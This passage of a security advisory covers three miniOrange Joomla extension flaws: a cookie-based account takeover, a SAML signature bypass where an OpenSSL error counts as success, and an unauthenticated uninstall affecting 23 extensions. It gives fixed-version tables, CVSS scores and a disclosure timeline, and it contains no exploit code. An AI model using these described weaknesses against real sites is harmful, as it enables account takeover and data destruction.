&lt;p&gt;The record scores it &lt;strong&gt;CVSS 4.0 8.8 High&lt;/strong&gt; under &lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284: Improper Access Control&lt;/a&gt;, below the two 10.0 records above it, and the vector says why: &lt;code&gt;VC:N&lt;/code&gt;, no confidentiality impact. The attacker destroys, it does not read.&lt;/p&gt;
&lt;h3&gt;The 23 extensions and what fixes each&lt;/h3&gt;
&lt;p&gt;miniOrange released the fix for all of these on 31 August 2026, with Two Factor Authentication following on 1 September. We checked every number below against the extension’s own Joomla Extensions Directory listing rather than accepting the vendor’s list, and the release dates match.&lt;/p&gt;
&lt;p&gt;Only the &lt;strong&gt;free&lt;/strong&gt; editions are affected. The CVE says so in its own description, every range it publishes stops on the free numbering line, and miniOrange confirmed it to us in writing. Paid builds on the decade numbering, the 12.x, 21.x, 32.x and 44.x versions, are outside this record.&lt;/p&gt;





























































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;miniOrange extension for Joomla&lt;/th&gt;&lt;th&gt;Affected up to&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;SAML SSO for Joomla&lt;/td&gt;&lt;td&gt;11.0.2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;11.0.3&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;miniOrange OAuth Client&lt;/td&gt;&lt;td&gt;3.2.0&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.2.1&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SAML SP Single Sign On, Login with ADFS&lt;/td&gt;&lt;td&gt;6.4&lt;/td&gt;&lt;td&gt;&lt;strong&gt;6.5&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SAML SSO login with Google Apps&lt;/td&gt;&lt;td&gt;6.4&lt;/td&gt;&lt;td&gt;&lt;strong&gt;6.5&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OAuth Single Sign-On, OIDC SSO, Login with Azure AD&lt;/td&gt;&lt;td&gt;1.2.2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;1.2.3&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Login with Keycloak OAuth Single Sign-On&lt;/td&gt;&lt;td&gt;1.2.2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;1.2.3&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Single Sign On for Educational Institutes&lt;/td&gt;&lt;td&gt;1.2.2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;1.2.3&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SAML 2.0 IDP for Joomla&lt;/td&gt;&lt;td&gt;7.7&lt;/td&gt;&lt;td&gt;&lt;strong&gt;7.8&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OAuth Server for Joomla&lt;/td&gt;&lt;td&gt;5.1.5&lt;/td&gt;&lt;td&gt;&lt;strong&gt;5.1.6&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Two Factor Authentication 2FA for Joomla&lt;/td&gt;&lt;td&gt;5.0.9&lt;/td&gt;&lt;td&gt;&lt;strong&gt;5.0.10&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OTP Verification For Joomla&lt;/td&gt;&lt;td&gt;6.6&lt;/td&gt;&lt;td&gt;&lt;strong&gt;6.7&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LDAP Integration with Active Directory and OpenLDAP&lt;/td&gt;&lt;td&gt;6.4.7&lt;/td&gt;&lt;td&gt;&lt;strong&gt;6.4.8&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Import Export Users for Joomla&lt;/td&gt;&lt;td&gt;4.6&lt;/td&gt;&lt;td&gt;&lt;strong&gt;4.7&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Custom API for Joomla&lt;/td&gt;&lt;td&gt;4.2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;4.3&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SCIM User Provisioning for Joomla&lt;/td&gt;&lt;td&gt;4.0.5&lt;/td&gt;&lt;td&gt;&lt;strong&gt;4.0.6&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Restrict Files / Folders / Media Access&lt;/td&gt;&lt;td&gt;3.7&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.8&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Web3, Crypto wallet Login and NFT token gating&lt;/td&gt;&lt;td&gt;3.5.1&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.5.2&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Staff/Employee Business Directory Search for Active Directory&lt;/td&gt;&lt;td&gt;2.0.4&lt;/td&gt;&lt;td&gt;&lt;strong&gt;2.0.5&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Okta User Sync / Bi-directional user management&lt;/td&gt;&lt;td&gt;1.1.0&lt;/td&gt;&lt;td&gt;&lt;strong&gt;1.1.1&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Keycloak user sync / User management&lt;/td&gt;&lt;td&gt;1.1.0&lt;/td&gt;&lt;td&gt;&lt;strong&gt;1.1.1&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;miniOrange User Provisioning with Azure&lt;/td&gt;&lt;td&gt;1.1.0&lt;/td&gt;&lt;td&gt;&lt;strong&gt;1.1.1&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;JoomAI, AI Assistant for Joomla&lt;/td&gt;&lt;td&gt;1.0.5&lt;/td&gt;&lt;td&gt;&lt;strong&gt;1.0.6&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;JoomShield by miniOrange&lt;/td&gt;&lt;td&gt;1.0.2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;1.0.3&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;&lt;p&gt;Patching in August was not enough&lt;/p&gt;&lt;div&gt;&lt;p&gt;Seven of those rows supersede a fix from the previous round, so the sites most likely to be caught out are the ones that did the right thing a week ago. The OAuth Client’s &lt;strong&gt;3.2.0&lt;/strong&gt; closed &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt; and is affected by this one, which needs &lt;strong&gt;3.2.1&lt;/strong&gt;. SAML SSO’s &lt;strong&gt;11.0.2&lt;/strong&gt; closed &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt; and needs &lt;strong&gt;11.0.3&lt;/strong&gt;. The ADFS and Google Apps editions were fixed at &lt;strong&gt;6.4&lt;/strong&gt; and now need &lt;strong&gt;6.5&lt;/strong&gt;. The three OIDC extensions were fixed at &lt;strong&gt;1.2.2&lt;/strong&gt; and now need &lt;strong&gt;1.2.3&lt;/strong&gt;. If you updated in late August and stopped, update again.&lt;/p&gt;&lt;p&gt;Across the Joomla sites we monitor that run a miniOrange component, &lt;strong&gt;53% are on a build this record covers&lt;/strong&gt;, which is the highest share of any of the three.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;What to do about the uninstall flaw&lt;/h3&gt;
&lt;p&gt;Update every miniOrange extension on the site to the version in the table, not just the one you were told about last time. The &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;extension inventory&lt;/a&gt; is the quickest way to see which of the 23 you actually run and at what version, because several of them install under a display name that does not match the name in the CVE: the Restrict Files extension reports itself as the Joomla Content Access Manager, and the OAuth Client, the OAuth Server and the Azure AD extension all share one element and are told apart only by that name.&lt;/p&gt;
&lt;p&gt;If an extension is installed but not actually used, remove it rather than updating it. Several of these turn up on sites that trialled a single sign-on option years ago and left the component behind, and an unused component is a live endpoint regardless.&lt;/p&gt;
&lt;p&gt;Where you cannot update immediately, block unauthenticated access to the component’s endpoints at the firewall or in the web server. Unlike the two bypasses above, there is no compromise to hunt for afterwards. If this one was used against a site you would know, because something would be missing.&lt;/p&gt;
&lt;h2&gt;The part worth remembering&lt;/h2&gt;
&lt;p&gt;Days before this Joomla record appeared, the same vendor was in the WordPress security news for &lt;a href=&quot;https://patchstack.com/articles/one-slug-seven-editions-the-miniorange-saml-sso-bug-that-let-anyone-log-in-as-your-wordpress-admin/&quot;&gt;two critical unauthenticated authentication bypasses in its SAML Single Sign On plugin&lt;/a&gt;, both letting an attacker forge their way into &lt;code&gt;/wp-admin&lt;/code&gt; as any user. Different extension, different platform, but the same vendor and the same underlying idea: an authentication extension trusting a value the attacker gets to set. That write-up is worth reading in full, not least for the way one WordPress listing turned out to hide seven separately versioned editions, which is the same version-numbering trap to watch for on the Joomla side.&lt;/p&gt;
&lt;p&gt;We saw the WordPress write-up on 21 August, thought the vendor’s Joomla extensions deserved the same scrutiny, and forwarded it to the Joomla Security Strike Team that evening. Four days later there were two Joomla records. The OAuth one, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt;, was found by CERT PL and the credit there is theirs. The SAML one, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt;, is credited to us alongside Supakiad S. (m3ez). The lesson is the one we acted on: when a vendor ships a trust-the-client authentication flaw on one CMS, its extensions on the other CMS are worth checking straight away, rather than waiting for a separate disclosure to arrive on its own schedule.&lt;/p&gt;
&lt;p&gt;There is a bigger version of this problem sitting behind the specific one. Plenty of extensions ship in both a WordPress and a Joomla edition, built by the same vendor from broadly the same ideas, and it is almost always the WordPress side that gets the security news first. Not because WordPress is more exposed, but because WordPress has Patchstack and Wordfence: funded projects whose whole job is to find these flaws, coordinate the disclosure with the vendor, and push the alert out to the people running the software. Joomla has no equivalent. When a Joomla extension is fixed, there is often nothing between the vendor’s changelog and the next hacked site. So the Joomla edition of a shared flaw tends to arrive later, with less noise around it, on sites whose owners never saw the WordPress headline that would have warned them.&lt;/p&gt;
&lt;p&gt;That gap is a good part of why we write these up at all, and why we check a vendor’s Joomla extensions the moment its WordPress ones make the news. We track known security issues across &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;every extension on every site we monitor&lt;/a&gt;, because a single vendor’s mistake rarely stays inside one product or one platform, and the sites that get hurt are the ones where no one was watching the version numbers.&lt;/p&gt;
&lt;h2&gt;The scores&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt;, miniOrange OAuth Client&lt;/h3&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;10.0&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;The Joomla CNA’s score, and the maximum possible&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt; is scored AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H, which is every metric at its worst: reachable over the network, no login, no user interaction, nothing that has to be true first, and consequences that reach past the extension into the system around it. The record is titled “Joomla Extension - miniorange.com - Arbitrary account takeover in miniOrange OAuth Client &amp;lt; 3.2.0”.&lt;/p&gt;&lt;div&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt;&lt;/span&gt;&lt;span&gt;Full account takeover&lt;/span&gt;&lt;span&gt;Cookie manipulation&lt;/span&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Reaches admin accounts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Extension&lt;/td&gt;&lt;td&gt;miniOrange OAuth Client for Joomla (&lt;code&gt;com_miniorange_oauth&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;miniOrange (&lt;a href=&quot;https://www.miniorange.com/&quot;&gt;miniorange.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Authentication bypass leading to account takeover&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt;, published 24 August 2026 by the Joomla CNA&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;10.0 (critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/287.html&quot;&gt;CWE-287: Improper Authentication&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;1.0.0 up to and including 3.1.9&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;3.2.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Krzysztof Zając, CERT PL, credited in the CVE record&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt;, miniOrange SAML SSO&lt;/h3&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;10.0&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;The second maximum score against this vendor in two days&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt; is scored AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H. A malformed SAML signature makes OpenSSL error, the error return value of -1 is read as a successful verification, and the attacker is logged in as whichever account they named.&lt;/p&gt;&lt;div&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt;&lt;/span&gt;&lt;span&gt;SAML signature bypass&lt;/span&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Reaches admin accounts&lt;/span&gt;&lt;span&gt;Version numbering unreliable&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Extension&lt;/td&gt;&lt;td&gt;miniOrange SAML SSO for Joomla (&lt;code&gt;com_miniorange_saml&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;miniOrange (&lt;a href=&quot;https://www.miniorange.com/&quot;&gt;miniorange.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Authentication bypass leading to account takeover&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt;, published 25 August 2026 by the Joomla CNA&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;10.0 (critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639: Authorization Bypass Through User-Controlled Key&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;Free 1.0.0 to 11.0.1. Paid Basic to 13.1.0, Standard to 24.1.0, Premium to 34.1.0, Enterprise to 44.1.0. ADFS and Google Apps to 6.3.0, the three OIDC extensions to 1.2.1. The record was revised to this wider scope on 26 August 2026; it originally listed the free range alone&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;Free editions 11.0.2, and 6.4 for ADFS and Google Apps. Paid SAML SP editions &lt;a href=&quot;#the-paid-editions-answered&quot;&gt;13.2 Basic, 24.2 Standard, 34.2 Premium, 44.2 Enterprise&lt;/a&gt;. Note that &lt;a href=&quot;#the-third-flaw-cve-2026-78074-an-unauthenticated-uninstall&quot;&gt;CVE-2026-78074&lt;/a&gt; later supersedes several of these&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Supakiad S. (m3ez) and Phil Taylor, mySites.guru, both credited in the CVE record&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt;, 23 miniOrange extensions&lt;/h3&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.8&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;The Joomla CNA&apos;s published record · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;A missing authentication check lets an unauthenticated visitor uninstall any extension on the site, running its uninstall script and dropping its database tables. It scores below the two records above it because there is no confidentiality impact: the attacker destroys rather than reads.&lt;/p&gt;&lt;div&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Remote uninstall&lt;/span&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Destroys data&lt;/span&gt;&lt;span&gt;23 extensions&lt;/span&gt;&lt;span&gt;Free editions only&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Extensions&lt;/td&gt;&lt;td&gt;23 miniOrange extensions for Joomla, free editions only&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;miniOrange (&lt;a href=&quot;https://www.miniorange.com/&quot;&gt;miniorange.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Improper access control leading to unauthenticated arbitrary extension uninstallation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt;, published 31 August 2026 by the Joomla CNA&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;8.8 (high), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284: Improper Access Control&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;One range per extension, all on the free numbering line. See &lt;a href=&quot;#the-23-extensions-and-what-fixes-each&quot;&gt;the table above&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;One version per extension, released 31 August 2026, with Two Factor Authentication on 1 September&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Krzysztof Zając, CERT PL, credited in the CVE record&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-16&lt;/strong&gt; The WordPress side is already being attacked DigitalOcean catches an unrecognised WordPress administrator session. The identical misreading of openssl_verify() there is CVE-2026-15981, reported as exploited in the wild and chained with a second flaw in the same plugin.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-21&lt;/strong&gt; We forward the WordPress write-up to the Joomla Strike Team We saw the Patchstack write-up that day, thought the vendor&apos;s Joomla extensions deserved the same scrutiny, and passed it on the same evening. We did not audit these extensions ourselves.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-24&lt;/strong&gt; CVE-2026-77995 is published for the OAuth Client at CVSS 10.0 &quot;The manipulation of a cookie value allows actors to login as arbitrary accounts, including admins.&quot; Affected range 1.0.0 to 3.1.9, fixed in 3.2.0. Found by Krzysztof Zajac of CERT PL, and the credit there is theirs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-25&lt;/strong&gt; CVE-2026-77998 is published for SAML SSO, also at CVSS 10.0 A different extension, and the one that matters more if you use miniOrange for single sign-on. Credited to mySites.guru alongside Supakiad S. Four days after the forward.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-25&lt;/strong&gt; We ask miniOrange a narrow question Through their own support form: for Joomla, what are the exact fixed versions of each of your products affected by this round. The published records are written on version numbers that do not match what real installs report.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-26&lt;/strong&gt; miniOrange answers, and the table includes three extensions fixed with no CVE at all The full list of fixed versions for every affected Joomla product, which is what an administrator actually needs and what no CVE record gave them. One line above the table limits all of it: all are the free versions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-26&lt;/strong&gt; The paid editions are released with the fix, and finally have version numbers Thirty hours after telling us the numbers were free editions only, miniOrange emails its paying customers a per-edition table. SAML SP Basic is fixed in 13.2, Standard in 24.2, Premium in 34.2, Enterprise in 44.2, with everything up to 13.1, 24.1, 34.1 and 44.1 affected. David Jardin of the Joomla Security Strike Team posts the same four numbers publicly the same lunchtime, which is the first time any of them appear outside a customer mailbox.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-26&lt;/strong&gt; The CVE record still says 1.0.0 to 11.0.1 Checked straight after the paid versions were announced. The published record was last updated that morning, before the announcement, and still describes the free line only. Anyone comparing a paid install against CVE-2026-77998 alone is told they are fine when they are not.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-26&lt;/strong&gt; That gap closes the same evening CVE-2026-77998 is revised at 22:35 UTC to name all four paid editions (Basic to 13.1.0, Standard to 24.1.0, Premium to 34.1.0, Enterprise to 44.1.0), plus the ADFS and Google Apps editions and the three OIDC ones that had no record at all. An automated check reading the record now flags a paid install correctly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-31&lt;/strong&gt; A third record, CVE-2026-78074, and this time 23 extensions A different flaw from the two bypasses: a missing authentication check lets an unauthenticated visitor uninstall any extension on the site, dropping its database tables with it. CVSS 8.8 High, CWE-284, credited to Krzysztof Zajac of CERT PL again. The record limits it to the free editions in its own description.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-31&lt;/strong&gt; miniOrange ships fixes for all 23 the same day Every affected free edition gets a release, confirmed against the Joomla Extensions Directory rather than the vendor&apos;s word. Two of the numbers move past the earlier fixes: OAuth Client needs 3.2.1 rather than 3.2.0, and SAML SSO needs 11.0.3 rather than 11.0.2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-01&lt;/strong&gt; Two Factor Authentication follows in 5.0.10 The last of the 23, a day behind the rest. At this point the CVE record disagreed with itself here, giving 5.1.0 in its HTML solution block and 5.0.10 in the plain-text one. The directory listing and the vendor both say 5.0.10.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-04&lt;/strong&gt; miniOrange write to us asking for the fixed versions to be published Nutan Barad reports users arriving at their support desk from our coverage, sends the table of 23 fixed versions, and states that no paid edition is affected by this record. Asked why paying customers were emailed about a vulnerability in late August, they point out that message was CVE-2026-77998, a separate flaw that did affect the paid editions. That checks out against both records.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-04&lt;/strong&gt; miniOrange close the last open question, on their own word Asked a second time about the paid OAuth Client editions, miniOrange reply that CVE-2026-77995 was associated only with the free plugin and that their investigation found the flaw in no paid build, which is why no paid security release ever followed. It is the answer we asked for. It is also not a change to the record, which still names one product with no edition qualifier, and the same vendor scoped the SAML fixes to the free line before widening them to all four paid editions thirty hours later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-04&lt;/strong&gt; The Joomla CNA corrects both errors within the hour We checked all 23 fixed versions against their Joomla Extensions Directory listings rather than publishing the vendor&apos;s list on trust, found two wrong entries in the record&apos;s own solution block, and reported them to the CNA. Two Factor Authentication now reads 5.0.10 rather than 5.1.0, and Import Export Users reads 4.7 rather than the truncated &quot;4.&quot;. The revision is timestamped 10:30 UTC, about half an hour after the report.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt; at CVE.org, the authoritative record for the OAuth Client flaw&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt; at CVE.org, the authoritative record for the SAML SSO flaw&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt; at CVE.org, the unauthenticated uninstall flaw across 23 extensions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284: Improper Access Control&lt;/a&gt; at MITRE&lt;/li&gt;
